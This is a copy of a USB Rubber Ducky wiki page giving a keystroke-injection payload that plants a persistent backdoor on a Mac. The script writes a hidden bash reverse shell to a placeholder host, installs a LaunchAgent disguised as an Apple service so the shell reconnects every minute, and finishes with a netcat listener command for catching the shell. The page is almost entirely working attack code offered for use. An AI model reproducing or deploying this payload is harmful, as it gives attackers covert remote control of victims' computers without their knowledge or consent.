https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---OSX-User-Backdoor

Payload OSX User Backdoor

EM A simple script for creating a persistent backdoor on OSX.
REM Change mysite.com to your domain name or IP address
REM Change 1337 to your port number
REM Catch the shell with 'nc -l -p 1337'
REM http://patrickmosca.com/root-a-mac-in-10-seconds-or-less/
DELAY 1000
GUI SPACE
STRING terminal
DELAY 500
ENTER
DELAY 500
STRING mkdir ~/Library/.hidden
ENTER
DELAY 200
STRING echo '#!/bin/bash
ENTER
STRING bash -i >& /dev/tcp/mysite.com/1337 0>&1
ENTER
STRING wait' > ~/Library/.hidden/connect.sh
ENTER
DELAY 500
STRING chmod +x ~/Library/.hidden/connect.sh
ENTER
DELAY 200
STRING mkdir ~/Library/LaunchAgents
ENTER
DELAY 200
STRING echo '<plist version="1.0">
ENTER
STRING <dict>
ENTER
STRING <key>Label</key>
ENTER
STRING <string>com.apples.services</string>
ENTER
STRING <key>ProgramArguments</key>
ENTER
STRING <array>
ENTER
STRING <string>/bin/sh</string>
ENTER
STRING <string>'$HOME'/Library/.hidden/connect.sh</string>
ENTER
STRING </array>
ENTER
STRING <key>RunAtLoad</key>
ENTER
STRING <true/>
ENTER
STRING <key>StartInterval</key>
ENTER
STRING <integer>60</integer>
ENTER
STRING <key>AbandonProcessGroup</key>
ENTER
STRING <true/>
ENTER
STRING </dict>
ENTER
STRING </plist>' > ~/Library/LaunchAgents/com.apples.services.plist
ENTER
DELAY 200
STRING chmod 600 ~/Library/LaunchAgents/com.apples.services.plist
ENTER
DELAY 200
STRING launchctl load ~/Library/LaunchAgents/com.apples.services.plist
ENTER
DELAY 200
GUI q

Catch the shell with netcat:

nc -l -p 1337